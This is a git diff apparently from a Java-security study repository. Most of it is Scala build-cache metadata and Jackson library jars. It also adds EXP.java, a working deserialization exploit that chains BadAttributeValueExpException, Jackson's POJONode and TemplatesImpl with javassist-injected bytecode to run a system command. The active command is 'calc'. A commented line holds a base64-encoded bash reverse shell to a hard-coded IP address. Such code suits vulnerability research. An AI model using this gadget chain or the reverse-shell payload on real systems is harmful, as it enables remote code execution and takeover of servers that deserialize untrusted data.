ources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar"],[{"name":"scala-reflect","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar"],[{"name":"jline","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar"],[{"name":"jna","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export
new file mode 100644
index 00000000..6211971d
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/Jackson/JacksonSerialize/.gitignore b/JavaSecurity/Jackson/JacksonSerialize/.gitignore
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/.gitignore
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git a/JavaSecurity/Jackson/JacksonSerialize/pom.xml b/JavaSecurity/Jackson/JacksonSerialize/pom.xml
new file mode 100644
index 00000000..cf0d503a
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/pom.xml
@@ -0,0 +1,17 @@
+
+
+ 4.0.0
+
+ org.example
+ JacksonSerialize
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+ UTF-8
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Jackson/JacksonSerialize/ser.bin b/JavaSecurity/Jackson/JacksonSerialize/ser.bin
new file mode 100644
index 00000000..2d4baa25
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/ser.bin differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java
new file mode 100644
index 00000000..645d742b
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java
@@ -0,0 +1,77 @@
+package org.example.drunkbaby;
+
+import com.fasterxml.jackson.databind.node.BaseJsonNode;
+import com.fasterxml.jackson.databind.node.POJONode;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+
+import javax.management.BadAttributeValueExpException;
+import java.io.*;
+import java.lang.reflect.Field;
+
+public class EXP {
+ public static void main(String[] args) throws Exception {
+
+ String cmd = "calc";
+ byte[] code = getTemplates(cmd);
+ byte[][] codes = {code};
+
+ TemplatesImpl template = new TemplatesImpl();
+ setFieldValue(template, "_name", "Drunkbaby");
+ setFieldValue(template, "_tfactory", new TransformerFactoryImpl());
+ setFieldValue(template, "_bytecodes", codes);
+
+ POJONode pojoNode = new POJONode(template);
+
+ BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
+
+ setFieldValue(badAttributeValueExpException, "val", pojoNode);
+
+ serialize(badAttributeValueExpException);
+ deserialize("ser.bin");
+
+ }
+
+ public static byte[] getTemplates(String cmd) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.makeClass("Evil");
+ CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+ ctClass.setSuperclass(superClass);
+ CtConstructor constructor = ctClass.makeClassInitializer();
+ constructor.setBody(" try {\n" +
+ " Runtime.getRuntime().exec(\"" + cmd +
+ "\");\n" +
+ " } catch (Exception ignored) {\n" +
+ " }");
+ // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.defrost();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ return new byte[]{};
+ }
+ }
+
+ public static void setFieldValue(Object obj, String field, Object val) throws Exception {
+ Field dField = obj.getClass().getDeclaredField(field);
+ dField.setAccessible(true);
+ dField.set(obj, val);
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ objectOutputStream.writeObject(obj);
+ objectOutputStream.close();
+ }
+
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java
new file mode 100644
index 00000000..edb0ebc6
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java
@@ -0,0 +1,16 @@
+package org.example.drunkbaby.main;
+
+import com.fasterxml.jackson.databind.ObjectMapper;
+import org.example.drunkbaby.pojo.Person;
+
+public class SerializeTest {
+ public static void main(String[] args) throws Exception {
+ Person p = new Person();
+ p.age = 6;
+ p.name = "Drunkbaby";
+ ObjectMapper mapper = new ObjectMapper();
+
+ String json = mapper.writeValueAsString(p);
+ System.out.println(json);
+ }
+}
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java
new file mode 100644
index 00000000..a6577cd8
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java
@@ -0,0 +1,5 @@
+package org.example.drunkbaby.pojo;
+
+public class Hacker {
+ public String skill = "hiphop";
+}
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java
new file mode 100644
index 00000000..9e27c89a
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java
@@ -0,0 +1,39 @@
+package org.example.drunkbaby.pojo;
+
+// 基础序列化与反序列化(多态实现)
+public class Person {
+ public int age;
+ public String name;
+ public Object object;
+ public Sex sex;
+ public Hacker hacker;
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public Object getObject() {
+ return object;
+ }
+
+ public void setObject(Object object) {
+ this.object = object;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("Person.age=%d, Person.name=%s, %s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, hacker == null ? "null" : hacker);
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java
new file mode 100644
index 00000000..1215e64f
--- /dev/null
+++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java
@@ -0,0 +1,6 @@
+package org.example.drunkbaby.pojo;
+
+public interface Sex {
+ public void setSex(int sex);
+ public int getSex();
+}
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar
new file mode 100644
index 00000000..60a3ddba
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar
new file mode 100644
index 00000000..7e2086d3
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar
new file mode 100644
index 00000000..a27e9d70
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar
new file mode 100644
index 00000000..6e6a5a9c
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar
new file mode 100644
index 00000000..a0ea06bb
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar
new file mode 100644
index 00000000..da15bb25
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar
new file mode 100644
index 00000000..606d992e
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar differ
